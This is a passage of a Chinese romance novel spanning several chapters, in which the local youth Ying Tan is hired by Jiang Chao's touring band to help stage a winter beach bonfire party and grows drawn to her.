这家咖啡厅坐落于曲溪最大的商场,应潭不常来。他隔着玻璃往里头瞥,不知道那人到了没。
费劲儿,他想。
有事儿要谈,就约个时间上门,搁路边分根烟,寒暄几句定下正事。就像从前工头来找他爸的时候。
但见面地址是对方定的,应潭拿出手机发送信息,抬眼往四周扫了一圈。
还没到饭点,来往的人不多。
旁侧西餐厅的服务生推门出来,穿着一身制服马甲,与应潭对上目光,视线落在他的面庞上,又打量了一眼他的穿着。
那服务生脸上神色漠然,又转回了头,扬笑为客人拉开门。
应潭同样面无表情,再次低头看向手机。
这家餐厅的招聘他看过,在曲溪这种地方,西餐服务员都得中专起步。换到大些的城市,学历要求又要再上一级。
那一纸证书多重要,像是坠在泥潭上的一根藤蔓。
但是像他这样的人,陷得深了,什么都够不着,就怎么也爬不出来了。
点开微信时对方恰好回信,说已经到了,在靠着窗户的那桌,还问他想喝什么。
应潭读完信息,浓眉压紧。
他回了句不用,转身看向咖啡厅,驻足迟疑,匪夷所思地猜测这是不是拉顾客的新方式。
风铃声伴着舒缓的轻音乐流淌而来,应潭推开玻璃门,往里一扫。
咖啡厅中顾客三三两两,靠窗座位处坐着人,一对穿着情侣装的初中生。
应潭脚步顿了一下,走过去,站在桌边。
小情侣原本勾肩搭背,见有人来迅速分开。
女生看向他,表情呆了一呆。男生见状又搭住小女友,瞪着眼,声线挺虚:“……干嘛,你谁啊?”
应潭那张脸,垂着眼皮居高临下地看人时,总是会自然而然地带上几分冷意。
俩初中孩子有点犯怂,他不动声色地退后一步,侧过身。
找错了。
他视线往咖啡厅深处落,才注意到里头靠窗的桌边似乎还坐着个人,身影被缠着花草的隔断架挡着,看不清晰。
应潭没说话,继续往里走,听见那对小情侣窃窃私语。
“你刚才干嘛盯着他看?我吃醋了啊。”
“你想什么呀,虽然他长得帅,但看着凶死了,我都不敢说话……”
他绕过隔断,侧眸一瞥。
桌边确实坐着人,一个女孩儿。
她穿着米白色针织开衫,正垂头看着手机,柔顺黑发自耳侧垂落,挡住了大半张脸颊,只露出白皙的下巴与红润的唇。
看不见眉眼,但应潭却仿若察觉了什么,脚步忽地一顿。
脚步声渐近,最后在桌边停下,江潮抬起头。
那张座位后立着盆假树,枝叶翠绿,却不及她明媚鲜亮。
她唇角扬起了点儿,礼貌性地笑笑。
“你好……”
江潮声音停了停,意外地眨了下眸。
应潭站在那里,浓眉抬起。目光相触,他嘴唇抿得平直,漆黑瞳仁里光泽晦暗不明。
沉默在空气中涌动,应潭舔了舔唇,开口确认时嗓音很沉:“……溱溱?”
大多数人在念出这两个字的时候会放轻尾音,他却念得平铺直叙。江潮说:“是我。”
她顿了顿,笑笑:“我们还挺有缘。”
应潭垂眼看她,没开口。
他没动,那张英俊深邃的面容背着光,没什么表情。
江潮抬手示意,“不坐下来聊聊吗?”
应潭神色不明。
那晚上过后,即便没有生气,她对他的印象也该跌至谷底。
他嗓音低哑,扯了扯唇,“原来还有的聊。”
江潮有些意外,掌心撑着脸,看他:“我还不至于那么记仇。”
应潭淡淡说了声“这样”,拉开椅子坐下。
他的脊背懒洋洋弓着,神态散漫,眉梢处伤口尚未好全,留着明显的痕迹。
先前的两次相遇都谈不上友好,江潮对应潭的印象,除了难以接近,就是浑身是刺。
而这一次见面,即便身份有些许不同,她的印象仍未变化。
服务生恰好叫了号,江潮起身,去端来两杯咖啡。
应潭正看着玻璃窗外,回头瞥了一眼,蹙眉:“我说过我不喝。”
江潮看到了那条信息。
点的是两杯外带,一杯其实是给林斯敬的。等下回去之前,她还准备去奶茶店给许甘和陈勉带两杯奶茶。
她张口,刚想要解释,便听应潭紧接着说:“……算了。”
他低头看手机,
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仿若漫不经心:“多少钱,我转给你。”
江潮停了停,弯起眼,神色自然地改口:“没关系,不用转。”
“就当是预付你现在的时间。”
应潭摆弄手机的指顿住,沉默几秒。
他抬眼,视线落在江潮的脸上,又偏开,似是随意地应:“也行。”
随口聊了几句,最初那种诡异的气氛终于散去些许。江潮坐直,双手交叠,提起了正事。
篝火晚会的时间定了,在十二月,三周之后。
江潮将物品清单发给应潭看,问他三周之内能不能将这些东西买齐。
应潭睨了眼屏幕,停顿几秒,语气淡淡,“买齐?”
“买不到吗?”
“买得到,”应潭问,“你们要在曲溪待多久?”
江潮稍稍一怔,还是回答:“大概两三个月。”
应潭一颔首:“那就是不会待多久。”
“十二月十号用一天,用完了我帮你处理。想丢在百佳旅馆,还是废品中心?”
江潮迟疑道:“还可以卖二手。”
应潭稍稍抬眉,看她,“你知道卖二手?”
江潮:“……”
她眼睫轻轻一眨,张了张口,想要说些什么,最后只是摇头笑笑:“你当我是外星人吗?”
外星人夸张了些,但他们确实不是一个世界的人。
应潭没否认,看着她唇角漾开的无奈笑意,偏开眸光。
习惯性地冷嘲热讽,话出口了又不知为何心烦意乱。
他随手端起咖啡喝了口,眉头不易察觉地蹙了蹙。
“我们这地方,二手没那么好卖。”
应潭摁了摁指节,生硬地放缓语气,嗓音却因此显得低哑。
“如果不准备用完就扔,找熟人租借就行。”
“这样吗?”江潮不在意这些微末细节,点头:“那就麻烦你了。”
除了买东西之外,到时候晚会当天的场地布置也需要应潭帮忙。
江潮提起种种安排,而应潭垂眼听着,时不时提几句建议。
难得见他收起刺的模样,江潮觉得有点儿稀奇。
她聊完这些,再次问起租下他时间的价格。
应潭报的价不高,是兼职的正常时薪。江潮答应下来,玩笑道:“我还以为你会狮子大开口。”
“谈价这种事儿最后提,”
他闻声抬眸,瞥了她一眼,神情极淡地勾了勾唇,“大小姐,不宰你是我心肠好。”
这声“大小姐”带了几分戏谑。
她低头喝了口咖啡,笑笑,顺着他的话说:“我知道,你是活雷锋。”
这句话听着有些耳熟。
从咖啡厅里出来的时候,应潭手里拿着那杯拿铁,终于想起那天夜晚里,自己曾经说过的话。
……还说自己不记仇。
看着温温柔柔,也不是全然没有脾气。
他懒懒垂眸,睨了眼手中咖啡杯,站在垃圾桶边喝完了。
唇齿间的味道焦苦黏腻,这年头的有钱人怎么会喜欢喝这种东西。
手机震了一震,应潭抬手瞥了眼。是新的微信信息,他滑开屏幕,稍稍挑眉。
名为溱溱的用户发来一条转账。
数额挺高,说是租借用品的钱,他的那份工资到时候一起结。
他目光落在屏幕上,沉默良久,随手将喝完了的咖啡扔进垃圾桶里,轻轻呵出一口气。
“……还真是个大小姐。”
9. 第 9 章
江潮回到旅馆的时候,许甘他们都已经醒了,正聚在一楼的小休息区里打牌。
他们三个昨晚又跑去酒吧喝酒,玩儿到凌晨才回来。
江潮生理期不方便,晚上没跟去,早上知道他们起不来,就自己出了门。
“你去哪儿啦?”许甘接过她带来的奶茶,乐滋滋道:“哎呀,还是溱溱懂我的喜好。”
江潮回答:“去见了出租时间的那位。”
许甘“哦”了一声,喝了口奶茶,眼睛往桌上一瞄,嚷嚷着喊了句“三带一。”
林斯敬出了牌,抬头问她:“怎么不叫我一起?”
江潮笑笑:“你们昨晚那么晚才睡。”
“心疼我啊?”林斯敬挑眉调侃,不待江潮说话,又随口转开话题:“怎么样?顺利吗?”
“顺利,”江潮把他的那杯拿铁递给他,“就是有些意外。”
她回想着咖啡厅里见到的那个人,“见到的人是应潭。”
这个名字许甘和陈勉不记得,但林斯敬前不久才刚听到过。
他微愣,把咖啡放在一边:“怎么是他?”
陈勉:“应潭是谁?”
林斯敬神色不明:“那天要了十块钱给我们带路的哥们儿。”
“啊?”许甘看着牌,眼眸一转:“是他啊?溱溱你钱给了吗?”
江潮拉开椅子坐下,“给了。”
话音一出,许甘眼睛瞪圆了,就连陈勉都抬头看来。
“给了多少?他不会坑你钱吧?不会到时候拿钱跑路吧?”
“放心啦,”江潮弯起眼睛:“这儿老板娘是他姑姑。”
许甘嘀咕:“那也没准儿呢……有些人连自家亲戚的钱都能赖着不还。”
确实有这种人,但江潮觉得应潭不像。
她的童年经历特殊,所以见过的人很多。
心思诡诈的笑面虎,黑心肠的冷血商人,天生坏种的小孩儿,什么样的都有。
应潭没有让她感到反感。
见过三面,等同于熟悉些的陌生人,但江潮巧合间听到了挺多关于他的事情。
他其实总让江潮想起自己。
许甘担心完钱,又开始操心那人做事的态度,握着牌碎碎念个不停。
江潮低眸想了想,“他灯泡修得很利索。”
她好像不太在意,还弯着唇角开玩笑。许甘原本挺震惊,看她这副模样,情绪也慢慢平缓下来。
“成吧,”许甘甩下一组顺子,气势汹汹地说:“这就是命运啊,人不能做坏事,做了迟早得栽。”
“到时候咱们狠狠差遣他干活,报那十块钱的仇!”
场地的事情解决了大半,剩下的就是宣传。
许甘在乐队账号那条爆火的视频下发了置顶评论,邀请在曲溪或者在曲溪附近的朋友来一起玩。
她自觉担起了篝火晚会的宣传任务,拉了一个群组,还认识了几个曲溪本地喜欢玩音乐的朋友,时不时跑出去玩。
晚上乐队在街头演唱的时候,江潮的麦克风旁边,也多出了一个小小的宣传立牌。
在路边驻足听歌的人挺多,拿着手机拍他们的人也不少。
但问起篝火晚会的人没几个,或许大家都不想在初冬的海边吹凉风。
最后加进活动群组的有十几来位,基本上都是些玩音乐的人,还有些看到了视频、恰好在曲溪附近的网友。
十二月那天乐队到得很早,许甘心念念要来看海,终于看到了,又失望咕哝。
“这海怎么不蓝,”她腹诽,“沙滩上怎么还有垃圾啊?”
“这时候的海就是这样,”陈勉应,“是蓝灰色的。”
林斯敬没下沙滩,靠在车头,正拿着手机,在和人发信息。
海边风有些大,江潮从包中翻出顶鸭舌帽,问:“他快到了吗?”
那天打完牌,林斯敬和江潮随口提了句,让她把应潭微信推给他。
“好歹我也是学商的,”他那时候打趣,“算钱能比你精明点儿。”
这几周都是林斯敬和应潭联系。
他回答“应该快到了”,转身遥望马路,下巴抬了抬:“是那辆吧。”
江潮转头看了眼。
小路尽头有辆面包车,离他们还有些距离。她收回目光,打开车门。
最近降温降得快,这几天都已经掉到零度了。江潮拿出被落在座位上的帽子戴上,理了理头发,又从包里翻出条叠好的围巾。
林斯敬要风度不要温度,穿了件薄风衣配黑高领,靠在那儿看她。
女孩儿的脸本就巴掌大小,帽子围巾一戴上,大半张面容都被遮了起来。
“谁零度就穿成这样,”林斯敬忍不住笑话她:“怎么跟不能见人似的。”
江潮弯腰看着后视镜,将围巾扯松了点儿,纠正:“是不能见风。”
“怕又着凉?”林斯敬手贱,抬手拍了下她的帽沿:“那回可把我们折腾得够呛。”
江潮刚和林斯敬他们出来的那阵子体质很差,有一回在山上过夜看日出,着凉发烧进了医院。
林斯敬接走人的时候被江潮的母亲拜托过,也曾经笑眯眯地承诺过会照顾他们江家的小公主。
结果人家刚出来没多久就进了医院,他那会儿整个人都提心吊胆的。
面包车停在路边,车门开了。林斯敬自然地收回搭在江潮帽子上的手,扭头看过去。
应潭从车上跨下来,反手关上车门。
他今天穿着件黑色棉服和运动裤,看着是上了年代的老旧款式,手肘处打了块颜色稍浅些的补丁。
林斯敬的目光从头扫至脚,似笑非笑地说了声“来了”。
“一趟拉不完,”
应潭转到车后,仿若没有看见他们刚才的互动,语气淡淡:“等下还要再运一次。”
开车的是越成功的哥哥,他在搬家运输公司干活儿。
他下车来帮忙把车上的折叠桌椅搬下来,林斯敬也去搭了把手。
“很少有人在这儿搞活动啊,”越成功他哥快三十了,挺健谈,说:“你们今天这是干啥?联谊呢?”
“不是,”林斯敬乐了:“哪能啊,就拍个视频。”
“嚯,你们是网红啊?我就觉得,你们这长相气质就不像一般人哈。”
现在乐队账号的粉丝都快有小一万了,每天都会稳定涨点粉丝。林斯敬没反驳,说:“随便玩玩。”
物品清单后来还补了几顶帐篷,在角落里堆成一排。江潮伸手去够,想一次性抱下车。
有人挡了她一下,低低道:“很沉。”
江潮稍怔,看了他一眼。
“放那儿我们来,”林斯敬闻声扭头,说:“溱溱你去喊一声陈勉。”
许甘在下面开着直播,拉着陈勉玩挑战,输了的人要去水里站一会儿。
胜负还没分,陈勉被喊走了,她有点儿遗憾,跟上来时看见应潭,眼睛又咕噜噜地
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转起来。
第一批东西都搬到了路边,面包车又开走,去运第二批。
许甘把自拍杆拉远儿了点,对着大海,对江潮他们使眼色。
江潮眨眨眼:“怎么了?”
“我饿了!”许甘过去抱着她的手臂,撒娇:“想吃午餐。”
他们确实还没吃午饭,怕布置场地的时间不够,一大早就开车过来了。
江潮拿出手机:“想吃什么?”
“哎呀,好不容易来一趟海边,点什么外卖。”许甘轻拍她一下,转头看向摄像头:“我想去店里吃。这附近肯定有什么有名的海滨餐厅吧?”
涨粉后来直播间里看的观众也多了点儿,有几个在弹幕区里提建议。
“小海豚饭店,”许甘念出来,“这名字多可爱。”
林斯敬拿出手机搜了下:“评分还挺高,游客必选。”
“粉丝推荐的肯定好吃!”
“好吃也不能现在去,”林斯敬收起手机,挑眉:“场地都没布置。”
许甘嘀咕:“让花钱请的人去布置呗。”
这姑娘叉着腰,表情活灵活现的,一看就是在想着该怎么使坏。
江潮抿唇笑起来,眼眸都弯成了月牙。
面包车离沙滩有些距离,应潭他们来回一趟,路边的东西还没搬完,剩了些零零碎碎的。
应潭把车上最后一批东西卸了,转到车前,说了声“谢谢哥”。
初中那时候越成功因为口齿不清受霸凌,闹过休学,也闹过自杀。
本来事态挺严重,结果欺负他的那几个人招惹到应潭头上。
那些人嘴巴不干净,骂了一句“有爹娘生没爹娘养的”,被应潭揍了,一段时间没来学校。
然后越成功就跟看到大哥一样,黏上应潭不肯走了。
“没事儿,”越成功他哥记着这个人情,聊电话的间隙转头挥了挥手,“我走了啊,多找小功玩儿。”
篝火晚会的场地其实有设计过,江潮他们还画了张图,彩灯挂哪儿都标明了。
不过真到了地方,什么精妙的设计都顾不上了,帐篷围一圈篝火放中间,大致对得上就成。
江潮对搭帐篷这件事挺感兴趣。
之前看日出的时候也睡过帐篷,大几千块钱买的,结构挺复杂。
那时候江潮就手忙脚乱的,林斯敬他们也不太会,后来还是也在那露营的另一群人搭了把手。
如今又有了尝试的机会,她拿着支架撑杆,跟着网上的视频研究。
视频放完了,她抬起头来,看见余下三顶帐篷都已经搭好了。
目光再一转,应潭随手把棉服甩进其中一个帐篷里,阔步向她这边走来。
“……”
江潮蹲在那里,握着那一根伸缩支架,说:“我也想试一试。”
许甘先前没折腾成他,现在可劲儿地使唤。
零度的天气,应潭热得脱了棉服,又将衣袖卷起,露出的肌肉线条流畅匀称,染着张扬锋锐的野性。
他站在那里,黑眸沉沉,垂头瞥了她一眼,没说什么,转身欲走。
江潮没想到他会是这个反应,眼眸微微睁大了些,下意识“哎”了一声。
她的声音不大,但应潭停住了脚步,稍稍偏过头。
“你……”江潮回过神来,觉得好笑。
他们的思维方式似乎天差地别,她手撑着额侧,仰起脸,无奈地弯了弯眼:“你不教教我吗?”
10. 第 10 章
应潭这辈子没教人做过什么事。
江潮仰着脸,等着他。
从这个角度看过去,她的嘴唇被掩在了围巾里,只露着精致眉眼与小巧鼻尖,长而微弯的睫随着眨眼轻颤。
应潭静立几秒,转身走了回来。
“哪里不会?”
“我还没开始……”江潮低头看了看手机,“但是视频里的帐篷和这个好像不一样。”
“嗯,”应潭瞥了一眼:“有不同型号。”
江潮眨了眨眼,小小地叹了口气,收起手机:“看来是白看了。”
“都是帐篷,”应潭淡淡道,“搭起来大同小异。”
他俯下身,拾起收着帐杆营钉的袋子,垂着眼皮,利落地组装完一个整节。
“过来。”
江潮在专注地模仿,闻声走到他身侧。
应潭没看她,单膝蹲下,伸手抚过她刚才踩着的地方,将帐篷展平。
她稍怔,注意到他手上已经蹭了不少沙尘,“我给你拿个手套……”
“不用。”
应潭背对着江潮,探身的时候肩颈处的肌肉微微鼓起,“看着,不懂就问。”
江潮应了一声“好”,撑着膝盖弯下身。
她的发丝垂落,在应潭的眼角余光里晃荡。
女孩身上的淡淡清香似乎一并钻入鼻间,他垂下眼,瞥了一眼她近在咫尺的影子。
这种普通的帐篷搭起来不难,应潭把组装好的帐杆穿进帐篷上方通口,紧接着固定在帐篷四角的插孔中。
穿插着立好了支架,他整理好帐篷,偏过头,“给我营钉。”
一系列动作行云流水,江潮怔神片刻,指指已经撑起来了的帐篷。
“……你怎么自己弄好了?”
应潭动作微顿。
“老师,”江潮又忍不住弯起眼:“我以为这是实践课。”
她的瞳仁很亮,笑起来时有弯弯的卧蚕。应潭与她对视一瞬,很快转开视线。
“嗯,”他眉眼间沉沉的阴霾像是散去了些,把支架拆出来,扯扯唇,“刚才是示范。”
“示范什么?”
另一道声音忽地响起,林斯敬不知道什么时候走了过来。
他低头,与应潭对上了目光。
少年眼皮上的那一道褶窄而深,瞳孔色泽很黑,抬眼看人时浸着天生的冷意。
林斯敬打量一眼,平静收回视线,手插在风衣口袋里,“搭帐篷啊?我也来试试。”
江潮直起身,拉长音调轻轻“喂”了一声,故作严肃:“要讲究先来后到。”
“一起呗,”林斯敬混不吝地笑笑:“团队合作很重要啊,小溱同学。”
他顿了顿,偏头,又一次看向应潭,“哥们儿,我后备箱里有箱酒,辛苦你搬一下。”
应潭淡淡颔首,接过他抛来的车钥匙。
冬日沙滩上的阳光似乎没什么温度,却仍旧能够灼得人睁不开眼。
应潭站在路边,狭长的眼微眯,眺向沙滩。
那顶帐篷渐渐有了雏形,他的目光转向她身侧高大的男人。
穿着质地优良挺阔的风衣,戴着昂贵的机械表,看人时眼神带着几分轻视打量。
……又或许那并非轻视,只是上位者向下看时生来具有的神态。
他看了片刻,面无表情地转回头。
低头时汗水落进了眼睛,应潭皱了皱眉,伸手粗鲁地撩起额发。
这一次的帐篷确实比较好搭,江潮看了一遍,自己就能上手。
她心满意足地拍了拍手,拿出手机拍了几张照片。
简略布置完后已经快下午两点,林斯敬拿出车钥匙抛了抛,喊他们去吃饭。
江潮应了一声。
林斯敬去叫许甘陈勉,江潮坐在自己刚整理好的帐篷里,稍稍歇息片刻,想起什么。
她上半身探出帐篷,侧头一望。
应潭正站在不远处,随手将晚上要用到的木柴丢到笼侧。
江潮叫了他一声:“应潭。”
他偏过头,唇角又没了笑,神色平淡地看着她。
“我们准备去吃饭,”江潮说:“可以麻烦你看一下场地吗?”
应潭颔首。
“你想吃什么?”江潮看见朋友们从海浪边回来,出了帐篷,拍拍小腿上沾到的粒粒黄沙,“我们给你带。”
“不用。”
他好像很喜欢说“不用”,江潮眨眨眼:“真的不要吗?”
应潭“嗯”了一声。
江潮没再坚持,看他汗水淋漓,给他拿了瓶水,不由得道:“你也休息休息。”
应潭接过水,转回头,背对着她。
他拧开瓶盖,握着瓶身抬头。喉结滚动,液体滚入干涩喉口,几滴水珠顺着下颌浸入衣领,他一口气喝掉大半瓶,舔了舔嘴唇。
“知道。”
他们去的餐厅是之前直播间里提到的小海豚饭店,离海边开车十分钟的距离。
下午两三点,饭店里的客人不多。老板亲自为他们上了菜,看他们不像是本地人,随口与他们聊了几句。
“你们是从哪里来的啊?”
林斯敬坐在桌外头,和老板唠嗑:“我们都是申城的。”
“申城啊?那可远了。”
老板有点儿惊讶,多看了他们几眼,感叹:“年轻就是好啊,自由自在的,哪儿都能去。”
“可不是吗,”林斯敬点头:“我们准备四处走走,国外先不提,至少国内得走一遍吧,都是祖国的大好河山。”
他转头,顺势问对面的江潮:“对吧?”
江潮垂下眼睫,抿唇笑笑:“嗯。”
是很自在。
她其实很喜欢这样的生活,像是脱离了玫瑰囚笼的飞鸟,心无归处,不受束缚。
这家饭店的味道确实不错,海产品都很新鲜。
江潮他们吃完回去,许甘还在说着走之前要再来一回。
“什么时候走?”陈勉顺势接上,问起之后的打算,“年底?”
“我得回家过年,”许甘说:“过完年再出来吧。斯敬哥,溱溱,你俩呢?”
林斯敬也要回家过年,他家里来往的亲戚多,每逢过年都要走亲访友。
江潮则看着窗外,说了句“到时候再看看”。
她与家中的关系比较特殊,同行的三个人都多多少少了解一些。
车中寂静一瞬,林斯敬开玩笑:“要不跟我回家?”
江潮也笑:“回你家和回我家有什么区别吗?”
“那去我家,”许甘拆了个口香糖,笑嘻嘻道:“虽然咱家小是小了点儿,但至少不在同个小区。”<
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p>江潮弯唇,跟着说好。
窗外风景一掠而过,不太平整的马路、蜿蜒的长街短巷、带着岁月痕迹的砖瓦房,都在这一段时间里慢慢变得熟悉起来。
她停顿几秒,又说:“留在这里也挺好的。”
回到沙滩边的时候是四五点钟,群组中有几个人提前到场,说是想要来帮帮忙。
“不过好像都布置好了,”小姑娘挺兴奋地蹦跶,“我还是第一次参加这种篝火晚会呢。”
天穹已然蒙上一层朦胧余晖,蓝灰色的大海如镜面般浸染了橘黄。
江潮沐着夕阳的光,坐在高脚凳上,抱着一把吉他。
他们最后还是自己为篝火晚会准备了烧烤架与食材饮料,没什么特别的原因,就是许甘觉得点外卖太不带劲儿。
“不会烤有什么关系,”她那时候说,“到时候来十几个人呢,总有人会烤吧。”
结果提前来到这里的几个人中,还真的没有人会烤肉。
他们在那儿折腾着烧烤架,烤出来的肉焦硬苦涩。许甘刚开始兴致勃勃地研究,没过一会就丧失兴趣,眼睛一转,叫应潭:“喂,你过来。”
江潮始终在一旁看着,抿着唇笑。
她实在没有什么厨艺天分,于是没有去凑热闹,就这么偷闲坐着,随手拨弄吉他琴弦,权当是在伴奏。
越成功他们刚到的时候,看到的就是这样的景象。
“我的鬼鬼,”他的室友遥遥看见了人,嘴巴就张大了,“怎么一点美颜都没开啊?”
“杰哥,这你真要去搭讪啊?说真的,你能成功我倒立洗头啊。”
孟杰人也有点儿呆了,憋了半天,蹦出了一句“我草”。
“别,别,草了,”越成功在旁边说,“去,去要微信。”
他们会出现在这里,还是因为孟杰在软件上刷本地推送的视频,恰好就刷到了江潮他们乐队的账号。
篝火晚会没什么吸引人的,孟杰对音乐也不感兴趣。
他接连刷了好几个视频,本来只想养养眼,结果刚好看到乐队邀请曲溪的朋友们来参加篝火晚会。
他们寝室一群人成天游手好闲,个个都不干正事儿。
孟杰一时兴起,拉着室友来给自己壮胆,想着起码把微信要到手,真到了地方,又有点犯怂。
两个兄弟在身边盯着,现在临阵脱逃也太耻辱了,回去之后肯定得被笑话。
孟杰心中飞快构思着开场白,视线游荡一圈,瞥见一个身影,刚转开的视线又倏地蹦回去了。
“我草,”他又骂了句脏话,“结巴,那是不是你应哥啊?”
“怎么,怎么,可能,”
越成功想说应哥都骂过他们没事找事,怎么可能与他们这种人为伍。结果一转头,“……我,我去。”
烧烤架边站着个男生。
他侧对着他们,衣袖卷至手肘,正垂着眼,姿态懒散地往烤肉上蘸扫酱料。
越成功心说不可能,揉了揉眼睛,又忍不住靠近几步。
他的侧颜更显骨相优越,下颌线条流畅利落,色泽寡淡的唇冷冷抿着,浓而长的眉压着眼。
眼熟到这种地步,不是应潭还能是谁。
越成功呆了片刻,眼睛都瞪得跟铜铃一样大了,“应,应,应哥!”
应潭闻声偏头,抬了抬眉。
11. 第 11 章
“应哥这是搞什么?那天不是说不来吗?”另一个室友贱嗖嗖地说:“偷偷吃独食啊?”
越成功回过神来,反驳:“我,我又没,告诉他,在哪。”
这几个人都在范钱荣那个群组里,和应潭认识。在陌生场合见着了熟人,都跟着越成功凑过去。
“早知道你也来,咱们一起啊,”
孟杰大咧咧锤了把应潭的肩,嬉笑着压低声音,“你怎么会来这种场合,看上谁了?”
应潭瞥他一眼,瞳光凉淡,没说话。
孟杰又挤眉弄眼,抬抬下巴:“没骗你吧,是不是很惊艳啊?”
“唉,咱们哥几个把这种情报分享给你,应哥你咋这么不讲义气,一个人偷偷来了。”
应潭皱了皱眉,轻啧:“别让我把你摁进海里洗洗脑子。”
孟杰被刺了一句,还咧着嘴,嬉皮笑脸的:“海水可洗不干净。”
越成功自然而然地跟在应潭身侧打下手,他和他室友拉了两把椅子过来。
这俩人来这儿不是为了听什么乐队演唱,单纯就是来看美女的。没跟别人说话,翘着腿坐在那儿。
眼睛不老实,嘴里也没少说。
“脸蛋儿真白,没见过这么白的。”孟杰探头瞄了好几眼,笑得猥琐,“可惜现在是冬天。”
“是挺白。”
孟杰啧啧道:“感觉也挺嫩,摸起来肯定滑滑的……”
“你他妈有贼心没贼胆啊?”他室友伸出胳膊怼他一下:“哈喇子都流下来了。”
“这不等着机会么,人家现在身边都是人……我操,”
椅背像是被人踹了一脚,孟杰整个人往前倾了一下,转头骂了一句,“谁踢我,有病吧?”
应潭从他身后经过,把几瓶饮料放在折叠桌上,睨了他一眼。
越成功亲眼看见他应哥毫不客气地伸脚,也有点茫然。
他想了想,说:“往,往里坐点,你俩,太挡道了。”
孟杰“靠”了一声,没说什么,忍气吞声地把椅子往里头搬了搬。
“就是身材不够辣,”他又和室友凑一块,“没小颖性感……”
椅子再次挨了一脚。
这回力道更重了些,孟杰“蹭”一下起身。
他霍然转身,还弄不清楚自己怎么总挨踹,莫名其妙地问:“搞毛啊,要我往哪儿坐?”
旁侧孟杰室友瞅见应潭黑漆漆的眼,意识到了什么,讪笑着说:“干嘛啊应哥,她是你对象啊,说几句都不行?”
“……哈?”孟杰回过神来:“啥意思?”
越成功与他们面面相觑,这回也迷糊了,盯着应潭看。
“意思就是叫你闭嘴,要发情去找个酒店开房。”
烤架滋滋作响,热气如火烛摇曳着漫开,应潭垂下眼,嗓音也染上几分躁意,“别在这丢人。”
“我这哪叫发情,”
孟杰下意识嚷嚷,眼见着有人过来,又压低声音:“……我就他妈点评点评。”
“点评?”应潭唇角勾起点弧度,带着冷淡嘲弄的意味,“你还点评上了。”
孟杰被踹了两脚,心里也不爽极了。
换是别人他早开骂了,可对方是应潭,他不敢,犯怂。
他磨了磨牙,顿了顿,突然想起朋友刚才说的话,“嘶”了一声:“应潭你不会真的——”
后半句话没说完,但谁都知道孟杰想说什么。
空气仿佛寂静了下来,应潭张了张口。
冬夜海滩的凉风灌入唇齿,将方才那一团郁火浇得干透。
他忽地清醒,舌尖抵住唇齿,几秒后漫不经心地扯了扯唇角,“想什么?那是老子的老板。”
“啊?”越成功举着刷酱料的刷子,恍然大悟,“应,应哥,他们请你来,来烧烤啊?”
“我靠,”孟杰沉默几秒,欲言又止:“他爷爷的……应哥你还真是……”
“还,还真是,”越成功接道:“敬业。”
应潭下颌绷着,面无表情地“嗯”了一声。
“收钱办事,少去招惹她。”
“……行吧行吧,”
孟杰举了举手,作投降姿态,“我本来也就口嗨一下,哪敢真搭讪啊。那美女一看就有男朋友。”
他室友终于开口,“哟”了一声,“你刚才可不是这么说的。”
“……闭嘴吧你。”孟杰瞪他一眼,悻悻道:“我就口嗨口嗨,那弹吉他的在人家身边转来转去,我能看不见吗。”
几句下来,方才有些许僵持的气氛稍稍缓和。
应潭没再说话,眸光沉沉。而孟杰把折叠椅摆正,重新坐回去,低头玩手机,连眼睛都没敢再乱瞟。
夕阳渐沉,彩灯亮起,最后一位参与者姗姗来迟。
那一侧,乐队摆好了乐器,许甘将手机放在支架上,凑到麦克风身边,笑嘻嘻地开口。
“我们随便唱唱,大家随便听听。”
“有钱没钱的都捧个人场,点点关注——咱们的账号叫遗失街头乐队。”
乐声倾泄,应潭正心烦意乱着,索性摘了烤肉时戴着的手套,退后几步。
他立在帐篷一侧的阴影里,抬头,目光仿若不经意地滑过去。
少女坐在高脚凳上,一只腿伸得笔直,一只腿微微曲着。
她握着麦克风,垂着眼眸,嘴唇抿起温柔的弧度。
江潮开口的那一刹,应潭陷入片刻恍惚。
——原来那一天在街边听到的歌声,是她的声音。
夜色逐渐降临,篝火也被燃起。
木柴噼啪作响,火星在江潮的眼底跳跃。
冬天的篝火晚会与夏天的篝火晚会很不一样。
如太阳般灿烂的火焰不再是摆设,拥有了吸引人靠近的温度。
她吸气,歌唱,垂眼看着火焰,抬眼眸光流淌,无意间落在某处角落。
应潭站在那儿,似乎在看着她,眉眼被阴影衬得分外深邃。
江潮弯起眼,对她的观众笑了笑。
他仿佛忽然惊醒,骤然偏开脸。
小城的故事被娓娓道来,一曲结束,反响异常热烈。
“还有麦吗?”有人忍不住起身,夸张地擦擦眼角,“感动死我了,听得我都想开嗓了。”
“没有,”江潮笑了,让开位置,“你来唱吧。”
这该是一场交流,而非独属于他们自己的舞台。江潮起身从高脚凳上下来,目光随意滑过那处角落。
那儿空空荡荡,先前的身影已经消
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失不见了。
夕阳彻底沉入海平线,江潮唱了几首歌,又当了几首歌的听众。
到了后半场,林斯敬开了啤酒,不忘拿着麦提醒:“请未成年的小朋友和要开车的朋友们自觉点儿,我们要有安全意识。”
周围一阵哄笑,江潮拿着纸杯过去,正经道:“我成年了。”
“好的,”林斯敬给她倒了一杯,“成年一年的小朋友。”
“成年一年?”旁侧有女孩儿听见了,惊讶出声,“溱溱你才十九岁吗?”
江潮转过头去,捧着纸杯点头:“我看起来很老吗?”
“怎么可能!”
那女孩儿飞快反驳,“就是……怎么说呢,我感觉你是那种很温柔知性的大姐姐。”
这其实不是江潮第一次听到这样的评价。
她抿了口酒,大大方方地说了声谢谢。
女孩儿又问:“小甘也是十九岁吧?你们两个谁是队内忙内呀?”
“忙内是什么?”
“就是老幺,年纪最小的那个。”
江潮指尖搭在纸杯上,无意识地捏了捏杯子。
“啊,”她笑笑,“我也不太清楚。”
女孩儿对谁是“忙内”这件事好像挺感兴趣,扭头去找许甘,想要问她的生日是在几月份。
江潮把酒喝完,放进桌边袋子里。
她转头,看了眼女孩儿的背影,回首时对林斯敬眨眨眼,“我先去躲一躲。”
林斯敬心领神会,挺无奈:“小姑娘好奇心这么重啊。”
冬夜风又大了些,几顶帐篷里都有人。江潮绕过帐篷,瞥见大海。
她改过姓氏,没有改过名。
母亲给她取了个小名,叫作“溱溱”。家里人会这么叫她,亲戚会这么叫她,后来朋友们也渐渐开始这样叫她。
但江潮没有忘记自己叫作江潮,而非江溱溱。
潮,潮水,潮汐。她猜想过许多次,那个素未谋面的女人大概很喜欢水,很喜欢大海。
该拍一张照片的。
江潮拿起手机,往海边走去。
深色海浪沉默翻涌,稀少星光在海面上洒落点点荧芒。
